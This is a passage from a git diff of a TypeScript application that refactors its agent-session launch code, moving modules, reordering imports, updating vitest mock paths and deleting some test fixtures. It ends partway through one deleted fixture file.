+import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 import type { AppState } from '@/store/types'
 import type { pasteDraftWhenAgentReady } from '../../messaging/paste/agent-paste-draft'
 import type { waitForAgentReady } from '../../messaging/paste/agent-ready-wait'
-import type { createStructuredAgentSessionLaunchIntent as create } from '../../../launch-structured-agent-session'
+import type { createStructuredAgentSessionLaunchIntent as create } from '../structured-agent-session-launch-intent'
 import type { launchStructuredAgentSession as launch } from '../structured-agent-session-launch-create-call'
 import type { refreshLocalStructuredSessionTabs as refreshTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
 import type { toast } from 'sonner'
@@ -81,7 +81,7 @@ function launchScenarioSettings(): GlobalSettings {
 
 vi.mock('@/hooks/useShortcutLabel', () => ({ useOptionalShortcutLabel: () => null }))
 vi.mock('@/store/index', async () =>
-  (await import('../../../launch-parity-renderer.test-fixture')).launchStoreModuleMock(owner)
+  (await import('../parity/launch-parity-renderer.test-fixture')).launchStoreModuleMock(owner)
 )
 vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (original) =>
   (
@@ -141,13 +141,16 @@ vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call'
   launchStructuredAgentSession: mockLaunchStructuredCodexSession
 }))
 
-vi.mock('@/lib/launch-structured-agent-session', () => ({
+vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-intent', () => ({
   createStructuredAgentSessionLaunchIntent: mockCreateStructuredCodexSessionLaunchIntent,
-  abandonStructuredAgentSessionLaunchIntent: vi.fn(),
   retryStructuredAgentSessionLaunchIntent: mockRetryStructuredAgentSessionLaunchIntent,
   launchStructuredAgentSession: mockLaunchStructuredCodexSession,
   ...launchErrorMocks
 }))
+
+vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-abandon', () => ({
+  abandonStructuredAgentSessionLaunchIntent: vi.fn()
+}))
 vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
   refreshLocalStructuredSessionTabs: mockRefreshLocalStructuredSessionTabs
 }))
diff --git a/src/renderer/src/lib/agent-session/launch/pane/agent-launch-tab-publication.ts b/src/renderer/src/lib/agent-session/launch/pane/agent-launch-tab-publication.ts
index 574c7968ad9..8bc1330a2c5 100644
--- a/src/renderer/src/lib/agent-session/launch/pane/agent-launch-tab-publication.ts
+++ b/src/renderer/src/lib/agent-session/launch/pane/agent-launch-tab-publication.ts
@@ -1,17 +1,17 @@
 /** Publish under host-reserved IDs before the agent exists so PTY routing names this pane and retries reuse its tab; the pane’s spawn waits in main and attaches to the host’s process. */
 
+import { folderWorkspaceToWorktree } from '../../../../../../shared/folder-workspaces/folder-workspace-worktree'
+import { presentAgentLaunchTab } from './agent-launch-tab-presentation'
+import { useAppStore } from '../../../../store/index'
+import { resolveUnifiedTabCreatePlacement } from '../../../../store/slices/tabs/tabs-create-placement'
+import { insertUnifiedTabAfterAnchor } from '../../../workspace/tabs/unified-tab-anchor-insertion'
+import { rememberAgentLaunchPanePrompt } from './agent-launch-pane-prompt'
+import { selectFolderWorkspaces } from '@/store/workspaces/catalog/workspace-record-fields'
 import type { AgentLaunchPlacementReceipt } from '../../../../../../shared/agent-launch/contracts/agent-launch-intent'
 import type {
   AgentLaunchTabPublished,
   AgentLaunchTabPublishRequest
 } from '../../../../../../shared/agent-launch/contracts/agent-launch-tab-publication'
-import { folderWorkspaceToWorktree } from '../../../../../../shared/folder-workspaces/folder-workspace-worktree'
-import { presentAgentLaunchTab } from './agent-launch-tab-presentation'
-import { useAppStore } from '../../../../store/index'
-import { resolveUnifiedTabCreatePlacement } from '../../../../store/slices/tabs/tabs-create-placement'
-import { insertUnifiedTabAfterAnchor } from '../../../unified-tab-anchor-insertion'
-import { rememberAgentLaunchPanePrompt } from './agent-launch-pane-prompt'
-import { selectFolderWorkspaces } from '@/store/workspaces/catalog/workspace-record-fields'
 
 function landedGroupId(worktreeId: string, tabId: string): string | undefined {
   return useAppStore
diff --git a/src/renderer/src/lib/launch-parity-renderer.test-fixture.ts b/src/renderer/src/lib/agent-session/launch/parity/launch-parity-renderer.test-fixture.ts
similarity index 93%
rename from src/renderer/src/lib/launch-parity-renderer.test-fixture.ts
rename to src/renderer/src/lib/agent-session/launch/parity/launch-parity-renderer.test-fixture.ts
index 39dfeb5b488..8c3cb21df18 100644
--- a/src/renderer/src/lib/launch-parity-renderer.test-fixture.ts
+++ b/src/renderer/src/lib/agent-session/launch/parity/launch-parity-renderer.test-fixture.ts
@@ -1,15 +1,17 @@
 // Load each renderer client OS against a real one-workspace store; suites own their vi.mock declarations.
 import { vi } from 'vitest'
 import { useStore } from 'zustand'
-import type * as StoreHelpersNamespace from '@/store/testing/app-store-test-fixture'
-import type * as CapabilitiesNamespace from '@/runtime/hosts/capabilities/local-runtime-capabilities'
 import {
   LAUNCH_FOLDER_ID,
   LAUNCH_REPO_ID,
-  launchWorkspaceId,
-  type LaunchClient,
-  type LaunchWorkspace
-} from '../../../shared/agent-launch/fixtures/launch-parity-window-request.test-fixture'
+  launchWorkspaceId
+} from '../../../../../../shared/agent-launch/fixtures/launch-parity-window-request.test-fixture'
+import type {
+  LaunchClient,
+  LaunchWorkspace
+} from '../../../../../../shared/agent-launch/fixtures/launch-parity-window-request.test-fixture'
+import type * as StoreHelpersNamespace from '@/store/testing/app-store-test-fixture'
+import type * as CapabilitiesNamespace from '@/runtime/hosts/capabilities/local-runtime-capabilities'
 
 const USER_AGENT: Record<LaunchClient, string> = {
   darwin: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Orca',
@@ -79,9 +81,7 @@ export function launchWorkspaceState(
         addedAt: 0,
         kind: 'git',
         connectionId: null,
-        executionHostId: 'local',
-        // Parity rows model a repo whose first-launch trust answer is already stored.
-        agentWorkspaceTrust: 'pre-trust'
+        executionHostId: 'local'
       }
     : null
   const worktree = {
diff --git a/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.test.ts b/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.test.ts
index 93e5d1b8789..d43c3cfca51 100644
--- a/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.test.ts
+++ b/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.test.ts
@@ -1,11 +1,13 @@
 import { EVERY_AGENT_CHAT } from '../../../../../../shared/native-chat/every-agent-chat.test-fixture'
 import { beforeEach, describe, expect, it, vi } from 'vitest'
-
 import {
   STRUCTURED_AGENT_SESSION_CLIENT_LAUNCH_MODE_CAPABILITY,
   STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY
 } from '../../../../../../shared/agent-session/agent-session-runtime-capabilities'
-
+import { folderWorkspaceKey } from '../../../../../../shared/workspace-scope'
+import { buildAgentLaunchRouteInput } from './agent-launch-route-input'
+import type { AgentLaunchRouteArgs, AgentLaunchRouteStore } from './agent-launch-route-input'
+import { planAgentSessionLaunch } from './agent-session-launch-plan'
 import type * as ConnectionOwnerResolutionModule from '../../../workspace/ownership/connection-owner-resolution'
 
 const mocks = vi.hoisted(() => ({
@@ -25,7 +27,7 @@ vi.mock('@/lib/workspace/ownership/connection-owner-resolution', async (importOr
   ...(await importOriginal<typeof ConnectionOwnerResolutionModule>()),
   getConnectionIdFromState: mocks.getConnectionIdFromState
 }))
-vi.mock('@/lib/local-preflight-context', () => ({
+vi.mock('@/runtime/hosts/preflight/local-preflight-context', () => ({
   getLocalProjectExecutionRuntimeContext: mocks.getLocalProjectExecutionRuntimeContext,
   getLocalRepoProjectExecutionRuntimeContext: mocks.getLocalRepoProjectExecutionRuntimeContext
 }))
@@ -37,14 +39,6 @@ vi.mock('@/runtime/hosts/capabilities/local-runtime-capabilities', () => ({
 }))
 vi.mock('@/lib/agent-session/launch/continuation/structured-agent-launch-settlement', () => ({}))
 
-import { folderWorkspaceKey } from '../../../../../../shared/workspace-scope'
-import {
-  buildAgentLaunchRouteInput,
-  type AgentLaunchRouteArgs,
-  type AgentLaunchRouteStore
-} from './agent-launch-route-input'
-import { planAgentSessionLaunch } from './agent-session-launch-plan'
-
 const routeFor = (appStore: AgentLaunchRouteStore, args: AgentLaunchRouteArgs) =>
   planAgentSessionLaunch(appStore, { ...args, requestId: 'route-check' }).route
 
diff --git a/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.ts b/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.ts
index 84ba26b20bb..fc0fe438133 100644
--- a/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.ts
+++ b/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.ts
@@ -1,17 +1,11 @@
-import type { ProjectLaunchContext } from '../../../../../../shared/rpc-contract/preflight-params'
 import {
   LOCAL_EXECUTION_HOST_ID,
   parseExecutionHostId,
   toRuntimeExecutionHostId
 } from '../../../../../../shared/execution-host'
-import type { AppState } from '@/store/types'
-import type { Worktree } from '../../../../../../shared/worktree/types'
 import { findFirstIndexedWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner-index'
 import { requestsCwdOutsideWorkspaceRootForWorkspace } from '../../../../../../shared/shell/launch/terminal-startup-cwd'
-import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
 import { workspaceKindForWorktreeId } from '../../../../../../shared/agent-launch/contracts/workspace-launch-kind'
-import type { AgentLaunchRoutingInput } from '@/lib/agent-session/launch/routing/agent-launch-routing'
-// Import the resolver directly: the connection-context facade reaches the store root and creates a launch-graph cycle.
 import {
   getConnectionIdFromState,
   getRepoConnectionIdFromState
@@ -19,8 +13,7 @@ import {
 import {
   getLocalProjectExecutionRuntimeContext,
   getLocalRepoProjectExecutionRuntimeContext
-} from '@/lib/local-preflight-context'
-import type { NativeChatLaunchPromptDelivery } from '@/lib/agent-session/launch/prompt/native-chat-launch-prompt-delivery'
+} from '@/runtime/hosts/preflight/local-preflight-context'
 import { isNativeChatTranscriptLocalReadable } from '../../../../../../shared/native-chat/transcript/native-chat-transcript-readability'
 import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { readLocalRuntimeCapabilitiesOrUnknown } from '@/runtime/hosts/capabilities/local-runtime-capabilities'
@@ -33,6 +26,14 @@ import {
 } from '@/store/workspaces/catalog/workspace-record-fields'
 import { readHostStructuredAgents } from '@/runtime/native-chat/agent-catalogs/host-structured-agents'
 import { lastVerifiedRuntimeStatus } from '../../../../../../shared/remote-runtime/host-status/runtime-host-status'
+import type { ProjectLaunchContext } from '../../../../../../shared/rpc-contract/preflight-params'
+import type { AppState } from '@/store/types'
+import type { Worktree } from '../../../../../../shared/worktree/types'
+import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
+import type { AgentLaunchRoutingInput } from '@/lib/agent-session/launch/routing/agent-launch-routing'
+import type { NativeChatLaunchPromptDelivery } from '@/lib/agent-session/launch/prompt/native-chat-launch-prompt-delivery'
+
+// Import the resolver directly: the connection-context facade reaches the store root and creates a launch-graph cycle.
 
 export type ProspectiveWorkspaceKind = NonNullable<AgentLaunchRoutingInput['workspaceKind']>
 
diff --git a/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-registered-agents.test.ts b/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-registered-agents.test.ts
deleted file mode 100644
index 006b4741dcb..00000000000
--- a/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-registered-agents.test.ts
+++ /dev/null
@@ -1,118 +0,0 @@
-import { EVERY_AGENT_CHAT } from '../../../../../../shared/native-chat/every-agent-chat.test-fixture'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  STRUCTURED_AGENT_SESSION_CLIENT_LAUNCH_MODE_CAPABILITY,
-  STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY
-} from '../../../../../../shared/agent-session/agent-session-runtime-capabilities'
-import { STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY } from '../../../../../../shared/agent-session/structured-agent-session-surface-capabilities'
-import type { RuntimeCapability } from '../../../../../../shared/protocol-version'
-import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
-import type { RuntimeEnvironmentStatus } from '../../../../../../shared/remote-runtime/host-status/runtime-host-status'
-import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
-
-const mocks = vi.hoisted(() => ({
-  readLocalRuntimeCapabilitiesOrUnknown: vi.fn(),
-  callRuntimeRpc: vi.fn()
-}))
-
-vi.mock('@/lib/workspace/ownership/worktree-runtime-owner', () => ({
-  getExecutionHostIdForWorktree: vi.fn()
-}))
-vi.mock('@/lib/local-preflight-context', () => ({
-  getLocalProjectExecutionRuntimeContext: vi.fn(),
-  getLocalRepoProjectExecutionRuntimeContext: vi.fn()
-}))
-vi.mock('@/app-shell/platform/web-client-location', () => ({ isWebClientLocation: () => false }))
-vi.mock('@/runtime/hosts/capabilities/local-runtime-capabilities', () => ({
-  readLocalRuntimeCapabilitiesOrUnknown: mocks.readLocalRuntimeCapabilitiesOrUnknown
-}))
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({
-  callRuntimeRpc: mocks.callRuntimeRpc
-}))
-vi.mock('@/lib/agent-session/launch/continuation/structured-agent-launch-settlement', () => ({}))
-
-import {
-  loadHostStructuredAgents,
-  resetHostStructuredAgentsForTests
-} from '@/runtime/native-chat/agent-catalogs/host-structured-agents'
-import type { AgentLaunchRouteStore, ProspectiveWorkspace } from './agent-launch-route-input'
-import { planAgentSessionLaunch } from './agent-session-launch-plan'
-
-const STRUCTURED: RuntimeCapability[] = [STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY]
-const REGISTERED: RuntimeCapability[] = [
-  STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY,
-  STRUCTURED_AGENT_SESSION_CLIENT_LAUNCH_MODE_CAPABILITY,
-  STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY
-]
-const LISTS_GROK = {
-  agents: [
-    { agent: 'claude', capabilities: {} },
-    { agent: 'codex', capabilities: {} },
-    { agent: 'grok', capabilities: {} }
-  ]
-}
-const SETTINGS = {
-  nativeChatProviders: EVERY_AGENT_CHAT
-}
-const LOCAL: ProspectiveWorkspace = { kind: 'git-worktree', repoId: 'repo-1' }
-const PAIRED: ProspectiveWorkspace = { kind: 'git-worktree', runtimeEnvironmentId: 'env-1' }
-
-function pairedStatus(runtimeId: string): RuntimeEnvironmentStatus {
-  return {
-    status: {
-      runtimeId,
-      capabilities: REGISTERED,
-      rendererGraphEpoch: 0,
-      graphStatus: 'ready',
-      authoritativeWindowId: null,
-      liveTabCount: 0,
-      liveLeafCount: 0
-    },
-    checkedAt: 1
-  }
-}
-
-type RouteSettings = Partial<typeof SETTINGS> &
-  Partial<Pick<GlobalSettings, 'agentCmdOverrides' | 'agentDefaultEnv'>>
-
-function store(
-  overrides: { settings?: RouteSettings; runtimeId?: string } = {}
-): AgentLaunchRouteStore {
-  const state = {
-    settings: { ...SETTINGS, ...overrides.settings },
-    localDetectedAgentIdsByContext: { host: [] },
-    runtimeStatusByEnvironmentId: new Map([['env-1', pairedStatus(overrides.runtimeId ?? 'rt-1')]]),
-    worktreesByRepo: {},
-    folderWorkspaces: []
-  }
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the route builder reads only the settings, host statuses and workspace rows given here; a missing member reads as absent, as the sibling route tests rely on.
-  return state as unknown as AgentLaunchRouteStore
-}
-
-const routeFor = (appStore: AgentLaunchRouteStore, agent: TuiAgent, workspace = LOCAL) =>
-  planAgentSessionLaunch(appStore, { requestId: 'request-1', agent, workspace }).route
-
-beforeEach(() => {
-  resetHostStructuredAgentsForTests()
-  mocks.callRuntimeRpc.mockReset().mockResolvedValue(LISTS_GROK)
-  mocks.readLocalRuntimeCapabilitiesOrUnknown.mockReset().mockReturnValue(REGISTERED)
-})
-
-describe('structured launch of a host-registered agent', () => {
-  it('never offers it from a host without the registered-agents capability', async () => {
-    await loadHostStructuredAgents('local', REGISTERED, null)
-    mocks.readLocalRuntimeCapabilitiesOrUnknown.mockReturnValue(STRUCTURED)
-
-    expect(routeFor(store(), 'grok')).not.toBe('structured-native-chat')
-    expect(routeFor(store(), 'claude')).toBe('structured-native-chat')
-  })
-
-  it("reads a paired host's list only from the runtime that gave it", async () => {
-    await loadHostStructuredAgents('runtime:env-1', REGISTERED, 'rt-1')
-
-    expect(routeFor(store(), 'grok', PAIRED)).toBe('structured-native-chat')
-    expect(routeFor(store({ runtimeId: 'rt-2' }), 'grok', PAIRED)).not.toBe(
-      'structured-native-chat'
-    )
-  })
-})
diff --git a/src/renderer/src/lib/agent-session/launch/routing/agent-session-launch-plan.ts b/src/renderer/src/lib/agent-session/launch/routing/agent-session-launch-plan.ts
index de3c6094008..a1187c0f60c 100644
--- a/src/renderer/src/lib/agent-session/launch/routing/agent-session-launch-plan.ts
+++ b/src/renderer/src/lib/agent-session/launch/routing/agent-session-launch-plan.ts
@@ -2,43 +2,36 @@ import {
   notifyAgentLaunchFailure,
   agentLaunchRecoveryMessage
 } from '@/lib/agent-session/launch/failure/agent-launch-failure'
+import { isLocalExecutionHost, parseExecutionHostId } from '../../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
+import { STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY } from '../../../../../../shared/agent-session/structured-agent-session-surface-capabilities'
+import '../structured-agent-session-launch-intent'
+import { StructuredAgentSessionOwnerUnresolvedError } from '../structured-agent-session-launch-errors'
+import { buildAgentLaunchRouteInput } from './agent-launch-route-input'
+import type { AgentLaunchRouteArgs, AgentLaunchRouteStore } from './agent-launch-route-input'
+import {
+  resolveAgentLaunchRoute,
+  structuredAgentLaunchDowngrade,
+  structuredAgentLaunchSupported
+} from './agent-launch-routing'
+import type { AgentLaunchRoute, AgentLaunchRoutingInput } from './agent-launch-routing'
+import { beginStructuredAgentLaunchSettlement } from '../continuation/structured-agent-launch-settlement'
+import type {
+  StructuredAgentLaunchHandle,
+  StructuredAgentLaunchHooks,
+  StructuredAgentLaunchSettlement
+} from '../continuation/structured-agent-launch-settlement'
+import { relearnHostStructuredAgents } from '../../../../runtime/native-chat/agent-catalogs/host-structured-agents'
+import { awaitLocalRuntimeCapabilities } from '../../../../runtime/hosts/capabilities/local-runtime-capabilities'
 import type { StructuredLaunchSurfaceAddress } from '../structured-agent-session-launch-record'
 import type {
   StructuredAgentSessionForkSource,
   StructuredAgentSessionResumeSource
 } from '../../../../../../shared/agent-session/structured-agent-session-create'
 import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
-import {
-  isLocalExecutionHost,
-  parseExecutionHostId,
-  type ExecutionHostId
-} from '../../../../../../shared/execution-host'
-import { STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY } from '../../../../../../shared/agent-session/structured-agent-session-surface-capabilities'
-import '../../../launch-structured-agent-session'
-import { StructuredAgentSessionOwnerUnresolvedError } from '../structured-agent-session-launch-errors'
-import {
-  buildAgentLaunchRouteInput,
-  type AgentLaunchRouteArgs,
-  type AgentLaunchRouteStore
-} from './agent-launch-route-input'
-import {
-  resolveAgentLaunchRoute,
-  structuredAgentLaunchDowngrade,
-  structuredAgentLaunchSupported,
-  type AgentLaunchRoute,
-  type AgentLaunchRoutingInput
-} from './agent-launch-routing'
 import type { NativeChatLaunchPromptDelivery } from '../prompt/native-chat-launch-prompt-delivery'
-import {
-  beginStructuredAgentLaunchSettlement,
-  type StructuredAgentLaunchHandle,
-  type StructuredAgentLaunchHooks,
-  type StructuredAgentLaunchSettlement
-} from '../continuation/structured-agent-launch-settlement'
 import type { StructuredAgentLaunchOptions } from '../structured-agent-session-launch-callers'
 import type { AgentLaunchRequestId } from './agent-launch-request-id'
-import { relearnHostStructuredAgents } from '../../../../runtime/native-chat/agent-catalogs/host-structured-agents'
-import { awaitLocalRuntimeCapabilities } from '../../../../runtime/hosts/capabilities/local-runtime-capabilities'
 
 export type AgentLaunchSurface = 'chat' | 'terminal'
 
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-action-launch.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-action-launch.ts
index ca4180c90b9..6380471660e 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-action-launch.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-action-launch.ts
@@ -5,27 +5,27 @@ import { readStructuredChatTabSavedName } from '@/runtime/native-chat/naming/str
 import {
   getStructuredLaunchStateBySessionId,
   publishStructuredLaunchChange
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 import { focusTerminalTabSurface } from '../../../components/terminal-pane/input/focus/focus-terminal-tab-surface'
-import type { Tab } from '../../../../../shared/tab-types'
-import type { StructuredAgentLaunchSettlement } from './continuation/structured-agent-launch-settlement'
-import type { ProvisionalLaunchArgs } from '../structured-agent-session-provisional-tab'
-import { insertUnifiedTabAfterAnchor } from '../../unified-tab-anchor-insertion'
+import { insertUnifiedTabAfterAnchor } from '../../workspace/tabs/unified-tab-anchor-insertion'
 import { useAppStore } from '@/store/index'
-import type { OpenedAgentSessionTab } from './pane/structured-agent-session-tab-open-through-layout-owner'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
 import { sendLayoutCommandToOwner } from '@/runtime/workspace-layout/commands/layout-owner-command'
 import {
   declinedTerminalCanOpen,
-  openDeclinedStructuredLaunchTerminal,
-  type StructuredLaunchTerminal
+  openDeclinedStructuredLaunchTerminal
 } from '@/lib/agent-session/launch/structured-agent-session-launch-admission'
+import type { StructuredLaunchTerminal } from '@/lib/agent-session/launch/structured-agent-session-launch-admission'
 import { notifyHostDeclined } from '@/lib/agent-session/launch/structured-agent-session-launch-admission-notices'
-import type { ExecutionHostId } from '../../../../../shared/execution-host'
-import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
 import { nativeChatComposerHasUserContent } from '@/components/native-chat/attachments/chips/native-chat-pending-attachment-cache'
 import { StructuredAgentSessionCreateRefusalError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
+import type { Tab } from '../../../../../shared/tab-types'
+import type { StructuredAgentLaunchSettlement } from './continuation/structured-agent-launch-settlement'
+import type { ProvisionalLaunchArgs } from '../structured-agent-session-provisional-tab'
+import type { OpenedAgentSessionTab } from './pane/structured-agent-session-tab-open-through-layout-owner'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 
 export function openDeclinedTerminal(
   args: ProvisionalLaunchArgs,
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-create-hydration.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-create-hydration.ts
index 3e5fde09aa1..b3715950cf8 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-create-hydration.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-create-hydration.ts
@@ -1,10 +1,10 @@
-import type { AgentSessionHistoryPage } from '../../../../../shared/agent-session/agent-session-wire'
-import type { StructuredAgentSessionLaunchIntent } from '../../launch-structured-agent-session'
 import { hasStructuredAgentLaunchCancellationTombstonePersisted } from './structured-agent-session-launch-persistence'
 import { wasStructuredAgentLaunchClosedByLocalCancel } from './structured-agent-session-local-launch-cancel'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
 import { getStructuredAgentSessionReadOwner } from '@/components/native-chat/session/structured/read/structured-agent-session-read-owner'
 import { noteStructuredAgentSessionFence } from '@/components/native-chat/session/structured/delivery/structured-agent-session-send-attempt'
+import type { AgentSessionHistoryPage } from '../../../../../shared/agent-session/agent-session-wire'
+import type { StructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-intent'
 
 /** The host's create proof belongs to the existing reader until its tab closes. */
 export function publishStructuredAgentSessionCreateHydration(
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-create-selection.test-fixture.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-create-selection.test-fixture.ts
deleted file mode 100644
index 1f0ba092534..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-create-selection.test-fixture.ts
+++ /dev/null
@@ -1,75 +0,0 @@
-import { expect, it, vi } from 'vitest'
-import { startStructuredAgentLaunch } from './structured-agent-session-launch'
-import { holdStructuredAgentSessionLaunchOption } from './structured-agent-session-launch-options'
-import { newAgentLaunchRequestId } from './routing/agent-launch-request-id'
-import {
-  mocks,
-  deferred,
-  createParams,
-  created,
-  draft
-} from './structured-agent-session-launch-create-message.test-fixture'
-import { readStructuredAgentLaunchRecord } from './structured-agent-session-launch-persistence'
-import { getStructuredLaunchStateBySessionId } from './structured-agent-session-launch-registry'
-import { structuredSessionSelectionController } from '../options/structured-agent-session-selection-controller'
-import { setRuntimeEnvironmentConnectionGenerationForTests } from '@/store/slices/runtime-status/runtime-status-connection-generation'
-import { replaceRuntimeEnvironmentRevisions } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
-
-export function registerCreateSelectionTests(): void {
-  it('keeps frozen selection completed when exact create proof arrives after the deadline', async () => {
-    const create = deferred<unknown>()
-    mocks.call.mockReturnValue(create.promise)
-    const paired = { kind: 'environment', environmentId: 'frozen-generation' } as const
-    replaceRuntimeEnvironmentRevisions([{ id: paired.environmentId, createdAt: 1 }])
-    const launch = startStructuredAgentLaunch('workspace-1', 'codex', {
-      requestId: newAgentLaunchRequestId(),
-      executionHostId: 'runtime:frozen-generation',
-      hostSeedOptions: { model: 'gpt-5.5' },
-      prompt: 'opening text'
-    })
-    const first = holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'gpt-5.4')!
-    await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-    const original = createParams()
-    const owner = structuredSessionSelectionController(paired, launch.sessionId, 'codex')
-    const carried = owner.pending()[0]!
-    await vi.advanceTimersByTimeAsync(30_000)
-    await expect(launch.launchResult).rejects.toThrow('Opening message outcome unknown.')
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({
-      delivered: false,
-      unconfirmed: true
-    })
-    setRuntimeEnvironmentConnectionGenerationForTests(paired.environmentId, 2)
-    expect(structuredSessionSelectionController(paired, launch.sessionId, 'codex')).toBe(owner)
-    const middle = holdStructuredAgentSessionLaunchOption(
-      launch.sessionId,
-      'model',
-      'gpt-5.3-codex'
-    )!
-    const newest = holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'gpt-5.4')!
-    await expect(middle).resolves.toEqual({ kind: 'superseded' })
-    const applied = deferred<unknown>()
-    mocks.inventory.mockResolvedValue([])
-    mocks.call.mockImplementation((_target, method) =>
-      method === 'agentSession.setOption' ? applied.promise : Promise.resolve(created())
-    )
-    const raw = getStructuredLaunchStateBySessionId(launch.sessionId)?.promise
-    create.resolve(created(original))
-    await raw
-    await vi.waitFor(() =>
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)).toBeUndefined()
-    )
-    const creates = mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-    expect(creates).toHaveLength(1)
-    expect(creates[0]?.[2]).toEqual(original)
-    await expect(first).resolves.toEqual({ kind: 'unknown' })
-    expect(carried.outcome?.kind).toBe('unknown')
-    expect(owner.pending()).toHaveLength(1)
-    expect(owner.pending()[0]).not.toBe(carried)
-    applied.resolve({ ok: true, value: { options: { model: 'gpt-5.4' } } })
-    await expect(newest).resolves.toMatchObject({ kind: 'accepted' })
-    expect(owner.captureRead()).toHaveLength(2)
-    expect(mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.send')).toEqual([])
-    expect(draft(launch.sessionId)).toBe('')
-    replaceRuntimeEnvironmentRevisions([])
-  })
-}
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-abandon.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-abandon.ts
index a21417d37ce..8d47c286a4e 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-abandon.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-abandon.ts
@@ -1,6 +1,6 @@
 import { clearWebSessionFocusIntentIfMatches } from '@/runtime/web-session-tabs-sync/navigation/web-session-focus-intent'
 import { structuredAgentSessionFocusOwner } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
-import type { StructuredAgentSessionLaunchIntent } from '../../launch-structured-agent-session'
+import type { StructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-intent'
 
 export function abandonStructuredAgentSessionLaunchIntent(
   intent: StructuredAgentSessionLaunchIntent
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-action-effort.test-fixture.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-action-effort.test-fixture.ts
deleted file mode 100644
index 08cc40e904b..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-action-effort.test-fixture.ts
+++ /dev/null
@@ -1,195 +0,0 @@
-import { expect, it, vi, type Mock } from 'vitest'
-import { CreateIntentParams } from '../../../../../shared/rpc-contract/structured-agent-session-params'
-import {
-  projectSourceControlActionLaunch,
-  resolveSourceControlActionSessionOptions
-} from '../../../../../shared/source-control/ai/recipes/source-control-action-launch-preferences'
-import { startStructuredAgentLaunch } from './structured-agent-session-launch'
-import { holdStructuredAgentSessionLaunchOption } from './structured-agent-session-launch-options'
-import { recordHostModelCatalogSnapshot } from '@/runtime/native-chat/model-catalogs/host-model-catalog-snapshots'
-import { newAgentLaunchRequestId } from './routing/agent-launch-request-id'
